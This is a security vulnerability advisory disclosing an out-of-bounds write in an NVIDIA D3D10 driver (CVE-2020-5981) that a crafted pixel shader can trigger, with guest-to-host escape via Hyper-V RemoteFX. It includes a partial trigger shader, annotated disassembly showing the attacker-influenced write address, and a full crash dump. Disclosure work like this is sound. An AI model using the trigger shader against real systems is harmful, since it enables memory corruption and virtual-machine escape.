Talos Vulnerability Report

TALOS-2020-1034

NVIDIA D3D10 driver nvwgf2umx_cfg.dll nvwg MOV_SAT code execution vulnerability

September 30, 2020
CVE Number

CVE‑2020‑5981

Summary

An exploitable code execution vulnerability exists in the nvwg MOV_SAT functionality of the NVIDIA D3D10 driver, version 442.50 - 26.21.14.4250. A specially crafted shader can cause remote code execution. An attacker can use this vulnerability to guest-to-host escape (through Hyper-V RemoteFX).

Tested Versions

NVIDIA D3D10 Driver Version 442.50 - 26.21.14.4250

Product URLs

https://nvidia.com

CVSSv3 Score

8.5 - CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H

CWE

CWE-787 - Out-of-bounds Write

Details

NVIDIA Graphics drivers is software for NVIDIA Graphics GPU installed on the PC. It is used to communicate between the operating system and the GPU device. This software is required in most cases for the hardware device to function properly.

This vulnerability can be triggered by supplying a malformed pixel shader. This leads to a memory corruption problem in the NVIDIA driver (this driver is mapped to the application - like Hyper-V (rdvgm.exe).

An example of a pixel shader triggering the bug:

ps_4_0
dcl_constant_buffer cb0[2].xyzw, immediateIndexed
customdata
dcl_output o0.xyzw
dcl_temps 5
mov r0.w, l(1, 1, 1, 1)
mov_sat r753139712.x, cb0[0].xzxx
...

By modifying the mov_sat instruction (Component-wise move instruction) destination register operand, an attacker is able to trigger a memory corruption vulnerability in the NVIDIA graphics driver. The attacker can partially control the write address.

00007FFB907A310E | 4D 8D 56 0C              | lea r10,qword ptr ds:[r14+C]            |
00007FFB907A3112 | 8B C6                    | mov eax,esi                             |	* attacker can influence ESI by modifying the bytecode
00007FFB907A3114 | 45 33 C9                 | xor r9d,r9d                             |
00007FFB907A3117 | 48 C1 E0 06              | shl rax,6                               |
00007FFB907A311B | 4C 03 D0                 | add r10,rax                             | * calculate write addr
00007FFB907A311E | 66 90                    | nop                                     |
00007FFB907A3120 | 0F BE 43 28              | movsx eax,byte ptr ds:[rbx+28]          |
00007FFB907A3124 | 44 0F A3 C8              | bt eax,r9d                              |
00007FFB907A3128 | 73 4B                    | jae nvwgf2umx.7FFB907A3175              |
00007FFB907A312A | 33 C0                    | xor eax,eax                             |
00007FFB907A312C | 41 B3 01                 | mov r11b,1                              |
00007FFB907A312F | 49 89 42 F4              | mov qword ptr ds:[r10-C],rax            |



0:120> r
rax=0000000000000000 rbx=0000026d6167caf0 rcx=0000000000010008
rdx=0000000000000002 rsi=00000000ffe40009 rdi=00000000000002c0
rip=00007ffb9e2bd04f rsp=000000df3678ee20 rbp=000000df3678ef20
 r8=00007ffb9dfb0000  r9=0000000000000000 r10=000002ad5a71f41c
r11=0000026d6171f101 r12=000000000000ff5f r13=0000000000000000
r14=0000026d6171f1d0 r15=0000026d601d9000
iopl=0         nv up ei pl zr na po nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
nvwgf2umx_cfg!OpenAdapter12+0x179bff:
00007ffb`9e2bd04f 498942f4        mov     qword ptr [r10-0Ch],rax ds:000002ad`5a71f410=????????????????

Stack trace:

0:120> kb
# RetAddr           : Args to Child                                                           : Call Site
00 00007ffb`9e159456 : 0000026d`6197f7d0 0000026d`601f7440 0000026d`5ff75040 0000026d`5ff1cc80 : nvwgf2umx_cfg!OpenAdapter12+0x179bff
01 00007ffb`9e15a232 : 00000000`00000000 0000026d`5ff1cc80 00000000`00000000 00000000`00000000 : nvwgf2umx_cfg!OpenAdapter12+0x16006
02 00007ffb`9e15b826 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : nvwgf2umx_cfg!OpenAdapter12+0x16de2
03 00007ffb`9e3f978d : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : nvwgf2umx_cfg!OpenAdapter12+0x183d6
04 00007ffb`9e46a84d : 0000026d`6028cc50 00000000`00000000 00000000`00000000 00000000`00000000 : nvwgf2umx_cfg!OpenAdapter12+0x2b633d
05 00007ffb`9f2fc500 : 00000000`00000000 00000000`00000000 0000026d`53b749c0 00000000`00000000 : nvwgf2umx_cfg!OpenAdapter12+0x3273fd
06 00007ffb`ad127bd4 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : nvwgf2umx_cfg!NVAPI_Thunk+0x7cb5d0
07 00007ffb`aed8ced1 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : KERNEL32!BaseThreadInitThunk+0x14
08 00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ntdll!RtlUserThreadStart+0x21

Crash Information

0:120> !analyze -v
*******************************************************************************
*                                                                             *
*                        Exception Analysis                                   *
*                                                                             *
*******************************************************************************


KEY_VALUES_STRING: 1

	Key  : AV.Fault
	Value: Write

	Key  : Timeline.OS.Boot.DeltaSec
	Value: 16810

	Key  : Timeline.Process.Start.DeltaSec
	Value: 835


PROCESSES_ANALYSIS: 1

SERVICE_ANALYSIS: 1

STACKHASH_ANALYSIS: 1

TIMELINE_ANALYSIS: 1

Timeline: !analyze.Start
	Name: <blank>
	Time: 2020-03-16T15:24:23.494Z
	Diff: 494 mSec

Timeline: Dump.Current
	Name: <blank>
	Time: 2020-03-16T15:24:23.0Z
	Diff: 0 mSec

Timeline: Process.Start
	Name: <blank>
	Time: 2020-03-16T15:10:28.0Z
	Diff: 835000 mSec

Timeline: OS.Boot
	Name: <blank>
	Time: 2020-03-16T10:44:13.0Z
	Diff: 16810000 mSec


DUMP_CLASS: 2

DUMP_QUALIFIER: 0

FAULTING_IP: 
nvwgf2umx_cfg!OpenAdapter12+179bff
00007ffb`9e2bd04f 498942f4        mov     qword ptr [r10-0Ch],rax

EXCEPTION_RECORD:  (.exr -1)
ExceptionAddress: 00007ffb9e2bd04f (nvwgf2umx_cfg!OpenAdapter12+0x0000000000179bff)
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 0000000000000001
   Parameter[1]: 000002ad5a71f410
Attempt to write to address 000002ad5a71f410

FAULTING_THREAD:  00002210

PROCESS_NAME:  rdvgm.exe

FOLLOWUP_IP: 
nvwgf2umx_cfg!OpenAdapter12+179bff
00007ffb`9e2bd04f 498942f4        mov     qword ptr [r10-0Ch],rax

WRITE_ADDRESS:  000002ad5a71f410 

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE_STR:  c0000005

EXCEPTION_PARAMETER1:  0000000000000001

EXCEPTION_PARAMETER2:  000002ad5a71f410

WATSON_BKT_PROCSTAMP:  c2ed11f1

WATSON_BKT_PROCVER:  10.0.18362.693

PROCESS_VER_PRODUCT:  Microsoft® Windows® Operating System

WATSON_BKT_MODULE:  nvwgf2umx_cfg.dll

WATSON_BKT_MODSTAMP:  5e543369

WATSON_BKT_MODOFFSET:  30d04f

WATSON_BKT_MODVER:  26.21.14.4250

MODULE_VER_PRODUCT:  NVIDIA D3D10 drivers

BUILD_VERSION_STRING:  18362.1.amd64fre.19h1_release.190318-1202

MODLIST_WITH_TSCHKSUM_HASH:  86b4c8455332f24841e46bacf39f6a29b95e2fce

MODLIST_SHA1_HASH:  0484fe5b430ec46806c06d0b7f9f933cc1191fcc

NTGLOBALFLAG:  400

PROCESS_BAM_CURRENT_THROTTLED: 0

PROCESS_BAM_PREVIOUS_THROTTLED: 0

APPLICATION_VERIFIER_FLAGS:  0

PRODUCT_TYPE:  1

SUITE_MASK:  272

DUMP_TYPE:  fe

ANALYSIS_SESSION_HOST:  CLAB

ANALYSIS_SESSION_TIME:  03-16-2020 16:24:23.0494

ANALYSIS_VERSION: 10.0.18362.1 amd64fre

THREAD_ATTRIBUTES: 
OS_LOCALE:  PLK

BUGCHECK_STR:  APPLICATION_FAULT_INVALID_POINTER_WRITE_EXPLOITABLE

DEFAULT_BUCKET_ID:  INVALID_POINTER_WRITE_EXPLOITABLE

PRIMARY_PROBLEM_CLASS:  APPLICATION_FAULT

PROBLEM_CLASSES: 

	ID:     [0n313]
	Type:   [@ACCESS_VIOLATION]
	Class:  Addendum
	Scope:  BUCKET_ID
	Name:   Omit
	Data:   Omit
	PID:    [Unspecified]
	TID:    [0x2210]
	Frame:  [0] : nvwgf2umx_cfg!OpenAdapter12

	ID:     [0n286]
	Type:   [INVALID_POINTER_WRITE]
	Class:  Primary
	Scope:  DEFAULT_BUCKET_ID (Failure Bucket ID prefix)
			BUCKET_ID
	Name:   Add
	Data:   Omit
	PID:    [Unspecified]
	TID:    [0x2210]
	Frame:  [0] : nvwgf2umx_cfg!OpenAdapter12

	ID:     [0n117]
	Type:   [EXPLOITABLE]
	Class:  Addendum
	Scope:  DEFAULT_BUCKET_ID (Failure Bucket ID prefix)
			BUCKET_ID
	Name:   Add
	Data:   Omit
	PID:    [0x14cc]
	TID:    [0x2210]
	Frame:  [0] : nvwgf2umx_cfg!OpenAdapter12

LAST_CONTROL_TRANSFER:  from 00007ffb9e159456 to 00007ffb9e2bd04f

STACK_TEXT:  
000000df`3678ee20 00007ffb`9e159456 : 0000026d`6197f7d0 0000026d`601f7440 0000026d`5ff75040 0000026d`5ff1cc80 : nvwgf2umx_cfg!OpenAdapter12+0x179bff
000000df`3678efd0 00007ffb`9e15a232 : 00000000`00000000 0000026d`5ff1cc80 00000000`00000000 00000000`00000000 : nvwgf2umx_cfg!OpenAdapter12+0x16006
000000df`3678f160 00007ffb`9e15b826 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : nvwgf2umx_cfg!OpenAdapter12+0x16de2
000000df`3678f260 00007ffb`9e3f978d : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : nvwgf2umx_cfg!OpenAdapter12+0x183d6
000000df`3678fcf0 00007ffb`9e46a84d : 0000026d`6028cc50 00000000`00000000 00000000`00000000 00000000`00000000 : nvwgf2umx_cfg!OpenAdapter12+0x2b633d
000000df`3678fde0 00007ffb`9f2fc500 : 00000000`00000000 00000000`00000000 0000026d`53b749c0 00000000`00000000 : nvwgf2umx_cfg!OpenAdapter12+0x3273fd
000000df`3678fe30 00007ffb`ad127bd4 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : nvwgf2umx_cfg!NVAPI_Thunk+0x7cb5d0
000000df`3678fe60 00007ffb`aed8ced1 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : KERNEL32!BaseThreadInitThunk+0x14
000000df`3678fe90 00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ntdll!RtlUserThreadStart+0x21


THREAD_SHA1_HASH_MOD_FUNC:  cf11ca47cd244828b4bd54f41d1a85654a927900

THREAD_SHA1_HASH_MOD_FUNC_OFFSET:  5af716735574a9e3feaf472b68f35e12fbfa3cbc

THREAD_SHA1_HASH_MOD:  701c05ef09dbf52b13a73d3e2d555e4906a8342a

FAULT_INSTR_CODE:  f4428949

SYMBOL_STACK_INDEX:  0

SYMBOL_NAME:  nvwgf2umx_cfg!OpenAdapter12+179bff

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: nvwgf2umx_cfg

IMAGE_NAME:  nvwgf2umx_cfg.dll

DEBUG_FLR_IMAGE_TIMESTAMP:  5e543369

STACK_COMMAND:  ~120s ; .cxr ; kb

FAILURE_BUCKET_ID:  INVALID_POINTER_WRITE_EXPLOITABLE_c0000005_nvwgf2umx_cfg.dll!OpenAdapter12

BUCKET_ID:  APPLICATION_FAULT_INVALID_POINTER_WRITE_EXPLOITABLE_nvwgf2umx_cfg!OpenAdapter12+179bff

FAILURE_EXCEPTION_CODE:  c0000005

FAILURE_IMAGE_NAME:  nvwgf2umx_cfg.dll

BUCKET_ID_IMAGE_STR:  nvwgf2umx_cfg.dll

FAILURE_MODULE_NAME:  nvwgf2umx_cfg

BUCKET_ID_MODULE_STR:  nvwgf2umx_cfg

FAILURE_FUNCTION_NAME:  OpenAdapter12

BUCKET_ID_FUNCTION_STR:  OpenAdapter12

BUCKET_ID_OFFSET:  179bff

BUCKET_ID_MODPRIVATE: 1

BUCKET_ID_MODTIMEDATESTAMP:  5e543369

BUCKET_ID_MODCHECKSUM:  272ca91

BUCKET_ID_MODVER_STR:  26.21.14.4250

BUCKET_ID_PREFIX_STR:  APPLICATION_FAULT_INVALID_POINTER_WRITE_EXPLOITABLE_

FAILURE_PROBLEM_CLASS:  APPLICATION_FAULT

FAILURE_SYMBOL_NAME:  nvwgf2umx_cfg.dll!OpenAdapter12

WATSON_STAGEONE_URL:  http://watson.microsoft.com/StageOne/rdvgm.exe/10.0.18362.693/c2ed11f1/nvwgf2umx_cfg.dll/26.21.14.4250/5e543369/c0000005/0030d04f.htm?Retriage=1

TARGET_TIME:  2020-03-16T15:24:30.000Z

OSBUILD:  18363

OSSERVICEPACK:  329

SERVICEPACK_NUMBER: 0

OS_REVISION: 0

OSPLATFORM_TYPE:  x64

OSNAME:  Windows 10

OSEDITION:  Windows 10 WinNt SingleUserTS

USER_LCID:  0

OSBUILD_TIMESTAMP:  unknown_date

BUILDDATESTAMP_STR:  190318-1202

BUILDLAB_STR:  19h1_release

BUILDOSVER_STR:  10.0.18362.1.amd64fre.19h1_release.190318-1202

ANALYSIS_SESSION_ELAPSED_TIME:  1bda

ANALYSIS_SOURCE:  UM

FAILURE_ID_HASH_STRING:  um:invalid_pointer_write_exploitable_c0000005_nvwgf2umx_cfg.dll!openadapter12

FAILURE_ID_HASH:  {32968bfd-cb9d-86c1-30b8-ad1954eb9190}

Followup:     MachineOwner
---------

Timeline

2020-03-25 - Vendor Disclosure
2020-04-06 - Vendor requested disclosure extension; Talos granted extension
2020-08-25 - Discussion w/vendor regarding CVE assignment
2020-09-30 - Public Release

Credit

Discovered by Piotr Bania of Cisco Talos.